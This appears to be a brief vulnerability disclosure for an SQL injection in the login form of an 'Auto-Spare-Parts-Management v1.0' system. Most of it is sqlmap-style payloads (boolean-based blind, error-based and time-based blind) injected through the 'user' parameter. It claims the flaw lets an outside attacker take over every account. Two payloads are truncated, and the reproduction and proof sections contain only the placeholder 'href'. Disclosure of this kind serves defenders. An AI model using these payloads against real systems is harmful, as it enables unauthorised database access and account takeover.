

The Referer HTTP header on Auto-Spare-Parts-Management v1.0 system appears to be vulnerable to SQL injection attacks, parameter <code>user</code>. The payload 'was submitted in the Referer HTTP header, and a database error message was returned. The attacker from outside can take control of all accounts of this system by using this vulnerability! WARNING: If this is in some external domain, or some subdomain, or internal, this will be extremely dangerous! Status: CRITICAL

[+] Payloads:

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Parameter: user (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: user=admin1' AND 5432=5432 AND 'MXPx'='MXPx&password=admin1&btnlogin=

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: user=admin1' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x71786b6271,

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: user=admin1' AND (SELECT 1749 FROM (SELECT(SLEEP(3)))XjEM) AND 'xoHI'='
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Reproduce:

href

Proof and Exploit:

href